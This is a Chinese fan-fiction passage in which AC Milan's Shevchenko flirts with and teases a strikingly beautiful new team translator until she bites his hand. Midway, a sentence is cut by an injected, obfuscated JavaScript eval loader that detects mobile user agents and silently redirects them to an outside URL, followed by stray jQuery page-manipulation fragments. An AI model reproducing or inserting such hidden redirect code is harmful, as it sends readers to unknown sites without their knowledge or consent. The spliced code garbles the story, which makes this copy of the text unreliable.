舍甫琴科觉得内洛的气氛似乎有些怪。
换好装备来到球场上，舍甫琴科本来习惯性地想和队友们打个招呼，然而举目一望，现场全是三三两两凑在一起咬耳朵的小团体，就连他们英明神武的队长都和安布罗西尼凑到一起，脑袋贴脑袋地小声讨论着什么。
‘气氛有点儿不对啊？’心里这样想，舍甫琴科谨慎地观察了一下周围，然而训练场上的一切看起来都是那样正常，以至于到了最后，他甚至有些怀疑自己是不是上当了——难道队友们是联合起来了在耍他？
悄无声息地助跑几步后，舍甫琴科将自己挂上了队长马尔蒂尼的背：“嘿！早啊保罗！”
马尔蒂尼显而易见地被吓了一跳，但责任感让他下意识地向后一托，免去了自家队友狼狈跌倒甚至不幸受伤的可能性——舍瓦！怎么又是你捣蛋！
舍甫琴科“哈哈哈”地笑着从队长的背后跳下去，又手欠地去搂旁边自家室友的肩：“聊什么呢你们，这么专注？”
安布罗西尼看自家队长的好戏看得挺爽，然而自己可不想成为某个调皮鬼的捉弄对象，遂有问必答道：“在讨论老板的‘新欢’。”
舍甫琴科一愣：“头儿不是早结婚了——等等！你说的是哪个‘capo’？”难道不是指新来的教练而是说的贝卢斯科尼？
没有被调皮鬼捉弄，反而把对方吓了一跳，安布罗西尼心里十分得意，面上却装出疑惑的模样：“什么‘哪一个’？”
舍甫琴科欲言又止。
马尔蒂尼心中好笑，又有些无奈，不禁捅了安布罗西尼一下：“别瞎说。”
转而又对舍甫琴科解释：“西莫开玩笑的，我们是在讨论队里新来的翻译。”
顿了顿，面对着自家队友“那有什么可讨论的”不解目光，米兰队长耸了耸肩，用一种较为克制的语气斟酌着道：“……非常，非常的美丽。”
啊，所以那是个女翻译？舍甫琴科的第一反应是这个。
非常漂亮的话，那怪不得西莫会拿她来戏弄我了——还故意误导我往主席那边想！真是的！西莫真无聊！
被舍瓦丢来一个鄙视的小眼神儿，安布罗西尼大致猜到了对方此时在想什么，只是他有些冤，那些流言蜚语又不是他制造的，何况舍瓦根本就没能理解队长话语里的深层含义嘛！——那可是连队长都强调了两次的“非常”的美丽哎！
就在安布罗西尼内心吐槽，而舍甫琴科准备转移开话题，跟队长和室友聊聊这些天发生的趣事时，身后不远处，熟悉的属于教练组成员们的声音隐隐约约传了过来。
教练他们到了吗？舍甫琴科转头望去，正想估量一下大部队距离自己这边有多远，够自己跟队友们说上几个段子时，原本漫不经心的目光倏地一凝，定在了队伍中本该最不起眼的末尾处。
如队长所说，那真的是个美丽到难以言说程度的女人……不，或许更确切一点的话，女孩儿？毕竟她看起来很年轻，绝不超过二十岁。
可她的神态非常职业，或者说，冷淡？她的怀里抱着些文件，指间还握着根银色的钢笔，除此以外周身别无外物，身上穿着的更只是一套普普通通的职业装。
然而，虽然只是这样简约到甚至有些偏中性的装扮，但女孩儿发色深黑，瀑布般垂落在肩头，愈发衬得她的肌肤霜雪般细腻，而那洁白面庞间分外惹眼的一抹淡粉——
舍甫琴科的喉结突然不受控制地动了动。
而另一边，非常清楚球场上为什么突然安静下来的主教练很大声地咳了一下，接着拍拍手，用一种看似严肃但又像是有些好笑的语气道：“好了好了，我想现在应该是训练时间——”
舍甫琴科望望他，又将目光短暂地放回到翻译小姐身上，接着又收回来，还微微地挑了下眉：居然没有介绍环节吗？
跟舍甫琴科同样反应的可不只有他一个，奈何主教练大手一挥，干脆利落地就无视掉了他们的诉求，让助教开始带着他们练习。
开玩笑！他自己都还是不久前才知道的，自己的团队被塞进来了一位美得有点儿过头的翻译，鸡飞狗跳了一上午，目前也仅限于知道了对方的姓名学历与国籍，哪儿来的心情给那群臭小子们介绍啊？
更何况，哼，以为他不知道球员们的那些小心思吗？什么介绍、认识，那群臭小子们就是想要泡妞罢辽！——别被他抓住他们训练不认真的小辫子！
幸运的是米兰众将的职业素养还是非常不错的——当然也不排除有人想在美人儿的面前多多表现。
不幸的是，主教练看起来居然是真的不想把人介绍给他们认识——训练结束后，众人原地解散，而那美人儿跟随着大部队，转过身居然就这么走了？
“嘿！”正所谓艺高人胆大，舍甫琴科直接就追上去了，“这是你掉的东西吗？”
拍了下翻译小姐的左肩，人却站到翻译小姐的右边，等对方因为没找到人而分神的刹那，舍甫琴科神不知鬼不觉地就把钢笔从她怀里抱着的文件上顺走，拿到两人中间晃了晃。
“……咦？”
这是舍甫琴科第一次听到翻译小姐说话，她的声音如他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15372551|168180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想象中的那般清甜柔软，眨着眼困惑的样子也如他想象中的那般可怜可爱：“谢谢你，这确实是我的钢笔……我什么时候把它弄掉的？”
捕捉到女孩儿小声的嘀咕，上帝视角围观了全程的助教先生嘴角抽搐，没好气地瞪向对面那个满脸无辜的坏小子：你这家伙给我适可而止啊！
——可惜人得意起来的时候就是难免会做过头。
收获了翻译小姐感谢的舍甫琴科本来能够正大光明地与之交换姓名，奈何“胜利”来得太轻易，他不自觉就又秀了把操作。
“咦，你的笔记本上怎么没写名字？”
与翻译小姐闲聊两句后，舍甫琴科故技重施，又将她怀里抱着的一本笔记拿到了自己手里，翻开扉页试图直接剧透。
然而，这次因为目标变大，舍甫琴科没能掩盖住痕迹——谁怀里被偷走东西也不会完全没有感觉的吧？何况舍甫琴科那个家伙根本没掩饰！
“等等，你……”女孩儿的脸上当即露出怀疑之色。
舍甫琴科眨了眨眼，看起来有点子无辜，然而他的手却绝不无辜，径直又向着文件摸去……喔！
被当场抓了个现行，舍甫琴科不见半点儿心虚之色，反而笑得很开心：“你握着我的手做什么？”
翻译小姐脸红了。
忙不迭地将男人的手丢开，女孩儿抱紧了怀里的文件夹，负气转身就要走，奈何她的动作怎么可能快过运动员？舍甫琴科一个闪身，直接就将她的退路堵住了：“你把我的手抓疼了。”理直气壮的样子看起来真是不害臊。
女孩儿气闷，抬起头来瞪了舍甫琴科一眼。她的眼睛水润润的，瞳仁黑亮有神，像极了夜空中璀璨的星子，舍甫琴科需要极力忍耐才能抑制住自己想要触碰的冲动。
“对不起！”女孩儿凶巴巴地说。
舍甫琴科觉得翻译小姐似乎有些好欺负：“只是口头道歉吗？”
“你还要怎样？”
“请我吃饭我就原谅你。”
女孩儿拧起眉：“可明明是你在捉弄我！”
舍甫琴科继续耍赖：“哪有？明明就是你弄疼了我——”
话语声戛然而止。
女孩儿抓过舍甫琴科的手，在虎口处恶狠狠地咬下去。舍甫琴科吃痛，下意识地想要把手抽回来，然而望着翻译小姐可爱的发旋儿，逗人逗过头的他只好自认倒霉，苦哈哈地任由对方拿他的手磨牙。
“这样才叫我弄疼了你！”离开前，女孩儿撂下了这样一句话。
——舍甫琴科突然脸红了。